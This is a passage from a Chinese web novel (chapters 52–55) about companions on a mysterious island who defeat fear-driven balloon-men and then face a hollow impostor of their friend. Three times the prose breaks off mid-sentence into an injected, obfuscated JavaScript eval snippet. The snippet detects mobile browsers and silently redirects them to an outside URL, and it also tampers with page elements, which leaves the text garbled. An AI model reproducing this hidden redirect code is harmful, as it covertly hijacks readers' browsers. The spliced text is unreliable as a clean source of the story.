“我会的!”塞勒比了个OK的手势,随后又喊道,“哦对!还有那个巨鲨,很有灵性的,有什么需要它帮忙说一声就行了!它能听懂!” “知道啦!”许梦扬回应道,“你和伊甸,你们俩都要安全回来!” 52.充气原理 从树上下来的时候,许梦扬顺手折了一枝长长的橡树枝。 “我把头盔给塞勒了。” 闻言,洛祈立刻开了麦,跟塞勒和黑牒确认好之后,看见虚拟地图上代表许梦扬的红点下方,变成了塞勒的名字。 向外望去仍是一片黑。 弥散的黑雾棉絮一般流淌在外围,忽然加速,继而丝丝缕缕地抽离,直到全部向上和那个“人”的雏形合为一体。 黑雾一散,被困住的气球人霎时重重落地,陆地连着海震颤起来,激起千层浪。 “为什么!”洛祈却顾不得那些,他扶着高大的白色圣十字站起身,满心疑惑地望向黑雾,“为什么要帮我们?”未及回答,又接着问,“你真的是这里的守岛人吗?这座岛屿究竟是什么情况?那些孩子真的是你们抓来的吗?为什么?!” 他满腔疑惑想要解答,那滚滚黑雾却不疾不徐,在空中游荡了几圈。 “别急,小东西们。”移形雾洪钟般的声音传来,甚至带着一点轻松,“你们已经离真相很近了……” “真相?”洛祈执着地问,“真相到底是什么?我们到底为什么要经历这些?” “好吧。”移形雾笑道,“那就……不妨再给你们一些提示好了。” 洛祈和伙伴们齐齐望着那团滚滚游荡的黑雾。 “先入地狱,再上天堂。” “就是这座岛屿的规则。”移形雾颤动向上,声音也更加弥漫开来,堪比神音,“加油吧小东西们,无需恐惧前路未知。”黑雾丝丝缕缕飘移变淡,越来越高,直至消失,“也许很快,我们就会再次见面了……” 余音不绝,每个人都是心有戚戚。 “到底什么意思啊?”许梦扬难得露出一点迷茫的表情,想了想转过头,“洛祈,你之前遇见过那个黑雾吗?那是什么啊?” “嗯,”洛祈点头,“那就是我之前跟你说的移形雾。” 许梦扬随后想到在第一次联络的时候,洛祈有提过一嘴,“原来是这个啊……” 但在场的其他伙伴并不知情,因此洛祈简单说了下之前见到移形雾的经历,尤其是被警告的部分。可说完自己也觉得困惑,“这次再遇见,我现在已经有点搞不清……这个移形雾是好是坏了。” 原本他一直以为已经见到真凶。 直觉一定是移形雾抓走了孩子们。 但没道理这次又会一反常态帮他们啊。 到底是因为什么呢? “你们看!”未尽的思绪被许梦扬突然的声音打断,“那些气球人,是不是又变小了啊?” 洛祈转头望去,那些气球人正一个个从地面爬起,而它们的身躯此时看起来确实比之前矮小了一大截!大约算是从半山高度变为十几层楼的程度了。 “这是怎么回事?”埃文疑惑道。 洛祈迅速回想了下刚刚发生了什么。说白了就是被黑雾笼罩,气球人挣扎无门。跟之前被透明风障阻拦,这两件事,有什么相通之处吗? “不清楚。”但缩水一截的气球人明显刺激了许梦扬,他凝视前方,抬起一边嘴角,“既然它们会缩小,那就让我先去探探情况好了。” 索尔有些吃惊,立刻道,“Xu,你要过去?” “没错。”许梦扬一边走,一边随手扯掉树枝的叶片,“我们必须主动出击。才能打破眼前的困局。” 踏上自己的陆块,许梦扬用树枝末端一捣后方,陆块立刻借力向前,朝着正前方那块气球人陆地划去。 “小心!” 只不过,许梦扬划过去的时候,就已经被气球人发现了。踩上陆地的瞬间,最近那个气球人抬起一脚,他在洛祈的惊叫声中就地翻滚一圈,躲过了那千钧重量。 周身尘土飞扬,许梦扬迅速抬头,此时他正位于气球人巨大的脚掌后面。没有片刻犹豫,立刻将树枝狠狠刺进对方“脚踝”。 噗呲一声,他抽出来,看见一个很小的洞眼。 树枝折断了一小截。 从触感上来看,气球人很像是橡胶之类的材质。 原来如此。 这印证了他的想法,这些人确实是会漏气的。那用尖锐物来对付它们一定没错。 气球人霎时怒而转身,飞起一脚,却跟后面准备攻击许梦扬的气球人撞在了一起。两个巨大的身躯顿时相互弹开,双双倒下。 许梦扬轻笑一声,“看来身躯太大也不是什么好事啊。” 一晃眼的功夫,洛祈的视野中,感觉许梦扬的个头似乎变高变大了? 在气球人膝盖落地的瞬间,许梦扬飞身爬上气球人脚踝,一刻不停向上爬到肩头,再一次将剩余的树枝狠狠刺入气球人颈侧! 毕竟对于几乎所有物种来说,颈部都是最脆弱的地方。 然而这一次攻击,却没能如他所愿。 甚至可以说,糟透了。 虽然树枝尖头成功地扎破了气球人的侧颈,但这一次树枝整个卡在了破洞处。 紧接着气球人开始摇头晃脑,许梦扬眼见着破洞处周围迅速涨大,几乎是瞬间便吞没了树枝。 糟了!他立刻翻身准备向下,破洞处却就在此时“嘭!”一声引发了局部爆炸。 太快了,一切都太快。许梦扬只感觉自己被一阵气流掀翻,紧接着他就撞进了一片繁茂的树梢,随后从高高的树上砰然坠地。 一股腥咸的血锈味儿蹿上了鼻腔。 耳边是同伴们的惊呼,随后脚步声响,是几人先后冲过来扶起了他。 “Xu,”埃文急迫喊道,“你还好吗?!” 眼前阵阵发黑,有人检查了下他的双眼和侧颈脉搏,感觉应该是索尔。 终于把气喘匀,睁开眼,看见洛祈和阮廷榭担忧的眼神。许梦扬还是笑了下,“别担心……还行啦。” “太危险了!”埃文担忧道,“刚刚发生了什么吗?”他抬头看着刚才被扎的气球人,它并没有倒下,而是仍在活动,并且对他们虎视眈眈,不禁迟疑,“我们几个真的能打败这些气球人吗?” “不是没有可能。”许梦扬挣扎着坐起身,咽下血沫,“至少……有些经验是值得的。第一,这些气球人的身体材质类似于橡胶,具有一些弹性,应该能够承受一般的物理攻击。即使被击打,也能将外力部分吸收并反弹回来。第二,里面确实是气体,并且,”他喘了一口气,“它们应该是可以自行调节内部气压的。所以……才会发生刚才那种情况。” “也就是说,”索尔反应过来,“那些气球人可能拥有自己的气体调节系统?当某处受到刺激性攻击而损伤到气体系统,就会导致气压失衡,强压之下气流会瞬间冲击破裂的地方?” “应该是这样。”许梦扬点点头,“所以第一,必须要用锐利的东西;第二,恐怕必须得一击制胜。不能制造单个破洞处。否则没人能扛得住几次强压冲击。” 说起来似乎很简单。 可是大家都沉默了。 很显然,一击必杀对他们来说太难了。 而且,洛祈望向三块陆地,这么多的气球人,肯定是没办法单靠谁就能解决的。 “气球人又变小了。”洛祈站起身,刚刚那个被许梦扬攻击过的气球人,此时肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026967|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼可见要比其他气球人矮小一圈。对他们几个似乎开始了观察状态。 “是漏气了吗?”许梦扬道,“毕竟我刚刚在它身上扎了两个洞。” 的确应该是漏气了。 但之前即使没有被扎破洞,气球人也在缩小。洛祈不断回想刚才发生的一切,和自己第一次见到气球人时的情形……总觉得自己遗漏了什么关键信息。 刚才是被攻击; 上一次是被黑雾困住挣扎无门; 再上一次是风障导致它们的攻击屡次失败。 每一次变小,似乎都是因为受挫。 而第一次也是最夸张的一次缩小,他记得是那个气球人小跟班,见到了被他转手拐卖的小女孩。那种害怕到骨子里的状态让他至今记忆犹新。 那么从气球人的视角来看,有可能是什么导致了漏气呢? “我有一个想法!”洛祈忽然抬头,“我明白了,会不会是恐惧?” “什么?”众人疑惑。 “气球人的充气原理。”洛祈说。 “充气原理?”埃文道,“你是觉得,那些气球人是在一定规则下改变形态的?” “应该是。我刚才有一个观察,”洛祈转向许梦扬,“在你飞身上去攻击的时候,你的身躯好像有变大。当时,我还以为是看错了。但现在看来也许不是。” “我吗?”许梦扬懵逼,“完全没感觉啊。” “是,所以我倾向于是自动的。”洛祈解释道,“我的想法就是,也许恐惧感或者受挫感,是导致它们缩小或漏气的主要原因。反之,则是勇气。” 许梦扬若有所思,“你继续说。” “当然这只是我的猜想,”洛祈道,“恐惧或勇气能够决定一个人的大小,如果完全没有恐惧,毫无畏惧,这个人就会无限膨胀,变得非常的大。” 就像他第一次见的小跟班旁的“老大”那样。 “而一旦开始受挫,产生恐惧,”洛祈说道,“随着越来越害怕,这个人就会越变越小。” 就像那个越变越小的“跟班”和这几次被攻击的气球人。 “这倒是个思路。”许梦扬喃喃。 但听起来有点太玄了,没人能证明确实如此。 要再去一次吗……许梦扬想。 可是口腔里的血腥气未散,后背和四肢手肘都在隐隐作痛,被掀翻的感受如此恐怖、深刻、清晰。思来想去,一向勇往直前的他还是犹豫了。 “怕了?”冷不丁,头顶上冰霜般的星星道。 “是啊。”许梦扬以为这个冷淡的星星又要对他开嘲讽了,索性坦率道,“怕了。也许你说得对,我过去一直分不清勇敢和莽撞。因为不知道害怕,所以自以为很勇敢,所以才总是贸然出动,总是受伤。现在我总算知道怕了,算长进吗?” 嘲讽并未如期而至,片刻后,星星才说,“你认为的勇敢,就是不知道害怕?” “不然呢?”许梦扬挑了挑眉,“怕了,就是认怂啊。” “不。”星星的声音变得柔和了些,“不知道害怕算什么勇敢?遇到危险如果不知道害怕,那才是莽撞。只能说明你对危险没概念。真正的勇敢是你明明害怕,明明有怕的感觉,却依然选择去做,你认为该做的事。” “……”第一次,许梦扬对于星星产生了一些微妙的观感。 这就是“指导灵”存在的意义吗? 他不知道。 但至少以前,似乎鲜少听谁这样对他说过。 “好吧。”许梦扬哑然失笑,感觉涣散的勇气一点点重新回笼,“我再试试。” 53.轮番上阵 再一次鼓起勇气,整装待发,许梦扬决定出奇制胜,不再按部就班。 他走回橡树旁。之前拉塞勒上去的粗绳还垂在橡树枝干,那是许梦扬早已绑好的绳索。他拽了拽,确定绳结牢固。 “你难道是想?”索尔看穿了他。 “没错。”许梦扬一指对岸,确定道,“我要从这里直接荡过去。” 索尔抬头观察,这是一棵成年橡树,树干粗壮笔直,根系稳固,承受单人重量以及荡绳过程中产生的拉力应该没问题。如果奏效,不失为一个妙法。 索尔点点头:“固定点结实吗?” “放心。”许梦扬一笑,看起来轻车熟路,“我打得可是双套结。” “行。这个你拿着。”索尔接着将一把带鞘匕首别在许梦扬腰间。以便他能随时抽出就用。 “谢啦。” 此时绳索的最低点距离地面0.5-1米,是最适合的长度。许梦扬将绳索缠绑于右手,顺便调整绳索的长度,确保在过程中双脚不会触地或碰到其他物体。 做好准备后,他比了个OK。 随后双手紧紧握住绳索,脚下发力一蹬,身体似钟摆一般开始小幅荡了起来。 荡绳过程中要找到合适的节奏,许梦扬利用身体的摆动和重力作用,使摆动幅度逐渐增大。索尔和埃文对视一眼,达成一致—— “我们来帮你。” 二人走向许梦扬身后,为的是给他的摆荡添最后一把力。 许梦扬紧盯着对面的气球人,不断估算自己即将划过的抛物线。他已经荡了三四个来回,心知不能过于急促,以免失去平衡。 背后传来稳稳的助推。 一下、两下、三下……就是现在! 嗖的一声。许梦扬顺势向上绳索脱手,仿佛从一只秋千上飞跃出去,划过一道弧度精准的抛物线,朝着目标中的气球人而去。 抛物线瞬间的高点,足以让所有气球人仰头。 风从脸颊快速后掠,扬起发丝。 许梦扬在最高点顺势抽出腰间匕首,双手握住刀柄抬起,电光石火间,猛然向下一刺,正中气球人面颊! 气球人开始剧烈晃动起来,但许梦扬力道不松,手腕向前,匕首直直沿着破洞划向头顶。在气球人脸上破开一道巨大的口子。 内外压强骤变,气流从破口冲出!许梦扬偏头侧身,迎着针尖般的疼痛,仍然死扎到底。身体沿抛物线走向下坠,巨大惯性带倒了被匕首死死钉住的气球人,也顺势带倒了距离最近的另外几个。 匕首划破头顶的一瞬,没了阻滞,疯狂挣扎的气球人毫无悬念地甩飞了许梦扬。他整个人向后方落去。 “小心!”中央的几人呼喊起来。 他向下一望,是大海。 但没关系。 至少他的袭击是成功的。 许梦扬做好了坠入大海的准备。 可预料中的坠海没有到来,忽而背后一实,是巨鲨破开海面腾跃而起,稳稳接住了许梦扬。 “!”许梦扬翻滚起身,这才对塞勒说的话有了实感,“你真的好有灵性啊。” 中央区域的几个人顿时松了口气。 许梦扬在巨鲨背上回头一看,那块气球人大陆一片狼藉。刚刚攻击的那个气球人轰然倒地。而随着他刚才的一击,神奇的事情发生了—— 其余被带倒的气球人站起身,又缩小了一圈! “原来真的是这样?”许梦扬观察着它们,那道狰狞的口子似乎给了其他气球人不小恫吓。它们脸上的神情、迟疑的动作,无一不在彰显着——害怕。 这给了许梦扬二次出击的信心。 “好!”他拍拍巨鲨的鳍,“——那我们就继续向前,再来一次!” 巨鲨立刻向着刚才的陆地游去,在靠近陆地时又一个腾跃,许梦扬顺势飞出,再次沿着抛物线高点抬起双手,握紧匕首向下一刺,同刚才如出一辙。 又带倒了一片气球人。 这次,他落到了气球人的陆地上。 然而在落地的瞬间,正如洛祈所言,许梦扬的整个身躯,开始肉眼可见地自动升高、变大。眨眼之间,他已经和那些缩水一圈的气球人差不多高了。 “天啊……” 尽管提前说过这种可能,但许梦扬和伙伴们还是被这突如其来的变化震惊了。 “原来真的是这样!”埃文恍然。 气球人的缩水,是因为恐惧加深。 而许梦扬的身躯变高变大,则妥妥因为刚才两次有效攻击让他此刻充满勇气,也充满信心。 核心就在于这块陆地! 瞬息之间,攻守易型,战势互换。 双方没有了巨大的体型和力量差异。接下来就简单多了。许梦扬甚至都不必使用匕首,拳脚相加就足以让其他气球人不断变小,再变小。 很快,那片陆地上的气球人在他不讲理的攻势下,个个都逐渐变得跟普通人一般大了。巨人视角一调转,它们吓得再次缩小。 “不行了。”唯一的弊端恐怕就是许梦扬变得太高大,以至于看不见气球人了,声音从高处传来,“人呢?怎么打着打着人没了?” 这个画面,未免有些滑稽。 “……你快回来吧,”洛祈忍俊不禁,“那些人正忙着在你脚下抱头鼠窜呢。” “……”许梦扬片刻无语,“我也觉得差不多了,我现在感觉随便一走动,地下都在颤!” 他转身朝向大海,背身离开陆地,踏入海里。顷刻巨浪掀起,随后海水没顶,再浮出海面时,许梦扬已经变回普通大小,骑在巨鲨背上。 重新望向那片陆地,哪还有什么气球人的身影?一片寂静,空空荡荡,气球人恐怕早不知变成什么钻到地里去了。 解决了一块陆地,还剩两块。 索尔看一眼埃文,彼此默契点头,“该我们了。” 索尔观战至此。有了刚才许梦扬成功的试验,他吸收经验其实很快。二话不说就直接乘陆块划向距离自己最近的那块。虽然按部就班踏上陆地,但靠着快刀加持,陆地上十几个气球人在几分钟内,脚踝接连受到重创。 趁身躯还未变大,他穿梭在气球人中,完美利用它们的视角盲区,脚下生风,迅疾无比。三十几只脚踝无一放过。 刀刃太快,直到几秒后,那些长长的伤口才被瞬间冲破。 一时间气流冲击不断。 但索尔身手好,倒也没什么问题。 避开就是。 索尔返身跳入海中,拉开距离观察,对战局了然于心——脚踝重创的下一步,便是气球人的膝盖着地。 他瞅准第一个脚踝无力支撑的气球人,在它双膝着地的一瞬间,再次翻身上岸,顺着气球人的小腿一路跑上身体,所到之处,划过一道道狭长伤痕。 紧接着他一刻不停,在气球人肩头就势一跃,便直接跳到另一个跪下去的气球人身上,再次重施故技。一道伤痕砍拉至肩膀,又是一跃! 一个、两个、三个……气球人接连倒地。在索尔迅猛的攻击下,开始不断缩小,几乎无法再次站起来。 而在这个过程中,索尔的身躯也逐渐升高变大,一开始还需要跳跃到其他气球人身上,到最后,甚至不疾不徐,直接走过去就行。 那种攻势碾压的威胁感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026968|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在太恐怖。 能躲的气球人早就吓得无限缩小,四处乱窜,直接摆烂,纷纷躲起来了。 没躲的则因为脚踝无力,完全站不起来,只能在地上等着气被放完。 干脆利落,漂亮结束。 巨大无比的索尔环顾四周,陆地已然一片沉寂,他转身竖了个拇指笑道,“一切顺利!” 阮廷榭亮着眼睛,也冲他比个拇指。 洛祈只感觉目不暇接。 “厉害啊!”许梦扬叹为观止,“该说不说……早就该让你上啊!” 索尔抱歉地笑笑,收起折刀背身入海,游了回来。没办法,他这种谋定而后动的性格,刚好跟许梦扬相反,习惯了后手出发。 实际上,到这里,整个情势就已经完全变了。 两块陆地被解决,第三块陆地上的气球人持续观战,早已没有刚才那么高了。其高度最多跟许梦扬陆块上那棵橡树有的一拼。 埃文接过许梦扬的匕首,踏上陆块,要解决剩余气球人理应很容易。 可谁都没想到的意外忽然发生了。 埃文刚踏上最后一块气球人陆地,就感觉到氛围有些微妙的不对劲。 因为那些虎视眈眈的气球人既不攻击,也不防守,它们只是睁着纽扣般黑洞洞的眼睛,警惕地盯着他。 埃文设想过许多情况,唯独没想到会在这里陷入对峙。 其余几人从旁观察也觉得很奇怪。 算了。埃文把心一横,俯下身做出助跑,准备速战速决。 结果没想到就在此时,陆地上所有的气球人,无论大小,突然全部都鼓胀起来。犹如一个个突然充填到无法承受任何更多空气的巨大河豚。 埃文:?! “跑!”洛祈是第一个反应过来的,瞬间失声大喊,“埃文!快跑!它们好像是要自爆!” 埃文一愣,立刻转身向后逃离,却根本来不及。 嗵!嗵嗵嗵嗵嗵! 惊雷在耳边炸响,爆炸声连片传来。 谁也没想到,这些已经被抓住弱点、几乎是必输的气球人竟然会在最后一刻,选择这样孤注一掷地自爆。 周围的空气被瞬间压缩又急速膨胀,聚成可怕的力量。身后剧烈的气浪袭来。那不是一股两股气流,而是威力巨大的冲击波,顷刻便掀飞了埃文。 但这似乎还不是最糟的。 最糟的是埃文此刻正像一颗加速炮弹一般,冲向密集的玻璃人群中! 埃文实在没有许梦扬好运,因为那块爆炸的气球人陆地,距离剩下一块玻璃人陆地最近。 “埃文!” “埃文!!” 所有人都失声大喊。 每个人都很清楚,那些玻璃人炸裂有多危险。更别说直接掉进去了! 咚咚咚,咚咚咚。萨满少女立刻起身,急促拍击手鼓,那群玻璃人的影子中央迅速闪动,云雾一般往旁边散开,似乎是在给中间留空位。 但是埃文被弹射的速度太快了,根本来不及! 他几乎是瞬间落了地。 喀拉喀拉的声音响起,立刻触发了连锁反应。 洛祈瞳孔骤缩,一种极深的恐惧直窜上脊梁。 “完了。”许梦扬攥紧拳,双目圆睁,声音都在颤抖,“完了……” 索尔与阮廷榭几乎同时愣住,不敢相信眼前发生的一切。 萨满少女额上一层薄汗,神情从未如此焦急,尽管知道没多大用处,还在不停地拍击手鼓。 可是一切都来不及了。 他们眼看着那些轮廓虚影一个个变成玻璃实体,裂痕延展,开始了连番的破碎。 54.和解 连续不断的玻璃炸裂声迅疾而猛烈,玻璃弹片四处飞溅,一声一声累成巨大的达摩克利斯之剑,悬在所有人的心尖。 而最后那片气球人陆地上,俨然只剩下一些零乱的残骸。 五块陆地中的四块,此时已经归于沉寂,因此衬托得最后一块的动静愈发清晰。 终于,清脆响声停止。 埃文趴在那一动不动。 周身皆是玻璃渣废墟。 他死了吗?没人敢问。 “不对……”洛祈从安全距离起身,向前确认,“好像有什么东西在他身上。” “什么东西?”许梦扬起身跑向前,此时的埃文身上确实笼罩着什么,像是薄薄一层光晕,又很透明,难以辨认。忽然,他脑袋叮了一声,问,“是星星吗?” “也许?”洛祈猜测,“那这样的话,埃文就可能……” “肯定是星星!”许梦扬感觉自己猜到了答案,因为他看见埃文似乎很艰难地动了一下,悬着的心渐渐开始落下,忙喊道,“埃文!你怎么样了?” 说着,许梦扬乘上最近的陆块划向那片废墟。 可一靠近,又发现似乎哪里不对。 埃文在原地想翻个身,但没成功。 他喘息着。奇怪的是,浑身倒是没有痛感,但有种被鬼压床的感觉。 一开始,他也觉得自己必死无疑了。被爆炸掀飞如此迅猛,他唯一遗憾的就是还没有找到伊甸,还没告别,甚至都来不及想更多,就已经落入那片玻璃人陆地。 可是当玻璃炸开在耳边,而裸露在外的皮肤却丝毫没有刺痛的时候,埃文感觉有什么东西,压住了他。 毫无疑问,他也迅速想到了星星。 但没道理这都炸完了,还这么沉地压在身上。 然而当他抬手摸向后方,才忽然发现,不对。触感冰冰凉凉,指腹滑过一道、又一道粗糙的……是什么?裂痕吗? 不是星星。 许梦扬直到岸边才看清楚。 他倒吸了口凉气,那好像,是个人。 一个裂痕四布、却没炸开的,玻璃人。 埃文收回了手,一种奇怪而糟糕的预感浮上脑海,他勉力撑着地,一点点机械地翻过身。却在看清眼前到底是什么时,凝固了所有动作。 那是莉安。 尽管透明,尽管裂痕遍布,尽管看不清五官……但他还是一眼认出,那是莉安。 所有的玻璃人都炸开了,全都变成了玻璃渣。 唯独只剩一个还没有。 埃文瞠目结舌地愣着。 十二岁大小的玻璃人紧紧趴在埃文身上,护住他所有裸露在外的皮肤,被飞溅的玻璃片砸得千疮百孔,但始终没有炸裂开来。 “……莉安?”良久,埃文才颤抖着声音,叫她的名字。 玻璃人莉安一寸一寸抬起身体,维持着这个姿势,看向埃文,残缺的玻璃躯壳中渐渐浮现出模糊的脸。 埃文看见她笑了一下。 尽管透过裂痕,看起来诡异惊心。 “是你吗?”埃文问。 莉安点了点头,随即有几片玻璃渣掉了下来。 “你为什么……”埃文想问的问题有很多,可到了嘴边却一时不知道该问哪个。 “我想,”莉安没去管一动就会掉落的玻璃,抱歉地笑了,“我还欠你一个道歉。埃文。” 埃文知道她是在说当时拜托他出海,却一去不返的事情。 那件事的确给埃文带来很大阴影。甚至影响了他的一生。 “……不,”沉默片刻,埃文还是摇了摇头,“你一定有你的原因吧。”他看向残缺的玻璃人莉安,“从我在那片荆棘地,见到你和那些玻璃人的时候,我就知道,也许是我当时忽略了什么。你一定遭遇了很多隐秘的痛苦,对不对?” 莉安望着他,没说话。 埃文左右环顾,看着那些玻璃渣废墟,说出自己的猜测,“这里的每一个玻璃人,都是早就已经经历过千疮百孔的孩子,对吗?” “埃文。”莉安还是说,“真的,很抱歉。” “之前在船上的时候,你说听见了,”埃文回忆道,“……有人在呼唤你。那现在呢,你找到呼唤你的人了吗?你现在……”他迟疑良久才问,“还活着吗?” “嗯,我找到了。”这一次,莉安微微点头,笑了,“你放心,我还活着。” “真的?”不知为何,明明眼前的场面如此可怖又匪夷所思,埃文还是感到悬着的心落了地,他曲起胳膊,手背压在眉眼上,像是终于如释重负,“那就好。” “真的。”莉安回答,她慢慢坐起身来,“其实,这座岛也许跟你们想的很不一样。而我之所以留在那片荆棘地,就是因为,我想有朝一日,能还你一个道歉。” 埃文也坐起来,“所以,其实你不在那里?” “对,真正的我不在那里。这是专对外来者打造的世界……”每说一个字,莉安身上的玻璃就掉落几片,说到最后,残破的玻璃躯壳像是再也撑不住,哗啦连片掉落下来。 玻璃壳尽数剥落,埃文清晰地看到了莉安的脸,还是那年十二岁的样貌,却不再忧心忡忡。 “只要你们继续往前,”她浅笑着,“我们一定会再见面。而且你会看见一个完全不同的世界。真的,相信我。” “完全不同的……”埃文正说着,话音忽地戛然而止。 他们面对面,是莉安上前抱住了他。 虽然感觉不到实体,只是一道虚影抱着他,埃文还是愣住了,“……怎么了?” “就是,”莉安摇摇头,声音听起来释然又轻松,“还是想跟你说一声,谢谢你,埃文。” “我……” 莉安收回手,身影开始慢慢变淡,“因为有你,那段艰难的日子,我才感到有一些幸运。” 她似光影般弥散开来。 周身留下了一地玻璃。 埃文的手向前伸着,少顷又收回。看着整片陆地上沉寂的废墟,慢慢站起了身。 此时此刻,五块陆地全部沉寂。 整个世界回到一片平静。 他们仍旧被困于海上。 许梦扬站在尖角陆地旁的陆块上,见证了刚才发生的一切,已然惊呆了。半晌才机械地转回身,望着中央所有人,“你们都看到了吧?不是我出现幻觉了吧?” 所有人都震惊地点了点头,表示自己看见了。 埃文思索着莉安刚说的话,一步一步,小心地踩过陆地上的碎玻璃,刚踏上许梦扬停在岸边的陆块。忽然就发现海水变浑了。 “怎么回事?”许梦扬大惊,“陆块自顾自转起来了!” 眼前的画面天旋地转,所有人的陆块随着海水飞速旋转。 洛祈感觉头晕目眩,扶着圣十字半跪在地。 “各位,”耳机里黑牒的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036585|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现,“不止是你们的陆块在转动,五块尖角大陆整体也在转动。另外,超声波检测到浅海有异物,请务必小心……” 黑牒的声音隐没在巨大的浪涛声中,洛祈惊讶地发现——刚才的五块大陆正齐齐翻转,在外围掀起没顶的惊涛骇浪。 可翻转过后,那五块大陆似乎是停了下来,只剩他们还在飞速转动。 显然其他人也发现了。 “大家!”许梦扬喊道,“我们放弃陆块!到岸上去!” 话音一落,许梦扬和埃文同时跳下水。紧接着,他们刚才所站的陆块就被强流卷入了海底。那棵高大强韧的橡树瞬间被碾得粉碎,零落地漂在海上。 其他人见状俱是一惊。 连忙抛下陆块跳入海中,使尽全力,向最近的陆地游去。 几人爬上岸转头数了一圈—— 许梦扬、埃文一块; 萨满少女和梅花鹿一块; 索尔一块; 洛祈一块。 忽然发现,阮廷榭不见了! “Ryan!” “阮阮呢?” 索尔和洛祈一前一后,大声喊道。 其余几人环顾四周,中央海域已经完全吞没了几个陆块,逐渐平静下来。而外围海域的海面,则比刚才更加汹涌。 “Ryan!”索尔疾呼,显然比任何人都要着急。 可是完全没有人回应。 一个糟糕的预感出现在每个人心中,如果阮廷榭被海水卷到了外面……那将是最坏的结果。 “是在叫我吗?” 忽然一个熟悉的声音升起。 那正是阮廷榭的声音。 几个人左顾右盼,可是没看到人。 “你们看!”洛祈突然指向中央海域,“好像在那里!” 水流从外到内打着旋儿向下,直到正中间,水涡渐渐逼停,整片中央海域呈现一种漏斗状。紧接着,一个人直挺挺从漩涡中心破水而出。 “阮阮!”洛祈和许梦扬惊喜道。 阮廷榭闭着眼睛,被水涡推上水面,两只手叠放在胸前,还是一幅沉静乖巧的模样。海面的漏斗状旋即平复如初。 甚至整个海面顿时变得无波无澜,光可照人。 阮廷榭倒映在海面上,睁开了眼。 索尔却忽然皱起了眉。 “你是谁?”索尔问。 许梦扬惊了,转过头,“索尔,你说啥呢?失忆啦?” 阮廷榭弯起半月形的眼睛,浅浅一笑,看起来天真无邪,“是我呀!” “哦。”索尔半点没犹豫,脸色瞬间冷下来,“是你。” “不是……”许梦扬整个人懵逼了,“干嘛呢?吵架?冷战?这种时候就别搞这些了吧?索尔你……” “是呀!”阮廷榭忽然兴奋起来,“你还是这么聪明,我的琥珀。” “……”许梦扬缩起肩膀,感到一阵恶寒,就差大喊你俩能不能别这么肉麻了! 但洛祈也突然蹙起眉。 我的琥珀。 感觉好像在哪听到过。 “你把Ryan藏到哪去了?”索尔问。 许梦扬一愣,这才重新看向阮廷榭,“你不是,阮阮?” 阮廷榭嘻嘻笑一声,折叠的双手抬起,语调上扬,“惊不惊喜?!” 在他的胸前,刚才被双手遮盖的地方,赫然是一块心脏大小的空洞。 55.空心傀儡 “真是没想到,”空心阮廷榭慢悠悠放下双手,尽情展示着洞穿的胸口,笑道,“你们还挺有本事的,能一路闯关到现在。” 闯关?埃文捕捉到这个词,结合莉安说的话有了一些想法。 “在哪?!”索尔懒得跟他废话。 “哦,他啊。”空心阮廷榭耸耸肩,“不知道啊,那种废物,可能已经死在某个不知名的漩涡里了吧。”他一歪头,意味深长地笑笑,“毕竟混沌之海,可是很危险的。” “什么……”许梦扬和埃文快速对了下视线,都无法判断是真是假。 “是么。”索尔的呼吸明显变快,心绪不平,他抽出折刀,作势就要冲向中央海域,声音从未如此凛冽,“那你就去陪葬。” 话音刚落,后方哗啦一声——是巨鲨破海腾跃而出。巨大的动静引着所有人望去,只见巨鲨身上到处是断裂的、扭曲在一起的枯藤长蔓。 而在它脊背上,条条藤蔓束缚之下的身影,正是阮廷榭。 “Ryan!” “是阮阮!” 巨鲨拖着紧紧交缠的长藤尾游动。真正的阮廷榭此刻躺在脊背上,脸色无与伦比的苍白,几乎耗尽全力而窒息的他在出水的那一刻,猛烈呛咳起来。 但不管怎样,他还活着。伙伴们都欣喜不已。 空心阮廷榭却一拧眉变了眼神,戾气滑过眼尾,盯着巨鲨游动的身影,暗骂一句,“废物!” 随后他回过身,双手猛然扬起——顿时无数藤蔓自中央海域破水而出。瞬间便将陆地上其他没来得及反应的人,一圈圈捆缚拖倒在地。 所有人都始料未及:! 除了索尔。 经历过枯藤岭后,索尔对于藤蔓破空的鞭笞风声极其敏感,在藤蔓接触到他之前手起刀落,沾了水的扭曲藤蔓立刻断成几节。 很明显有东西在水下。 如果从高处俯瞰,那些藤蔓一端呈放射状绑缚着几人,一端则隐没于海水表面。 空心阮廷榭看着索尔斩断的藤蔓,却仿佛丝毫不生气,反而有些迷恋。 “我的琥珀。”空心阮廷榭平静地说,“不如我给你一次机会,你跟我回枯藤岭,如何?” 索尔余光看了眼巨鲨脊背的阮廷榭,握刀屈肘向前,警惕地看着他。 